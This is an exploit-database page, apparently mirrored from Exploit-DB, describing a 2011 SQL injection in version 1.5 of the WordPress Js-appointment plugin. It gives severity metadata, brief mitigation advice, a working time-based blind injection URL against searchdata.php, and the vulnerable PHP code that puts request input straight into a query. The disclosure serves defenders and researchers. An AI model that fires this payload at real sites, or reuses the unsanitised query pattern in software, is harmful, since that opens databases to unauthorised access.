Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
WordPress Js-appointment plugin - exploit.company
header-logo
Suggest Exploit
vendor:
Js-appointment plugin
by:
Miroslav Stampar
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Js-appointment plugin
Affected Version From: 1.5
Affected Version To: 1.5
Patch Exists: NO
Related CWE:
CPE: a:wordpress:js-appointment:1.5
Metasploit:
Other Scripts:
Platforms Tested: WordPress
2011

WordPress Js-appointment plugin <= 1.5 SQL Injection Vulnerability

The WordPress Js-appointment plugin version 1.5 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by sending a crafted request to the 'searchdata.php' file, which does not properly sanitize user-supplied input, resulting in SQL injection. This can lead to unauthorized access to the database and potentially allow the attacker to execute arbitrary SQL queries.

Mitigation:

To mitigate this vulnerability, users are advised to update to a patched version of the plugin if available. Additionally, it is recommended to sanitize user input before using it in SQL queries to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Js-appointment plugin <= 1.5 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/js-appointment.1.5.zip
# Version: 1.5 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/js-appointment/searchdata.php?search_action=searchadv&cat=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
if (!empty($_REQUEST['search_action'])) {
	switch($_REQUEST['search_action']) {
		case 'searchadv':
    require_once(PLUGIN_PATH_ALLBOOK."/libs/class.book.php");
    $settings = allbook_get_settings();

    if ($_REQUEST["cat"]) {
    $category = $_REQUEST["cat"];
    } else {
    $settings = allbook_get_settings();
    $category = $settings['allbook_catinit'];
      }
	//$times = create_time_range($settings['allbook_datastart'], $settings['allbook_dataend'], $settings['allbook_datarange']);
   $categoryquery = mysql_query("SELECT * FROM wp_resservation_cat WHERE id= '".$category."'");
   $rowcategory = mysql_fetch_array( $categoryquery );
...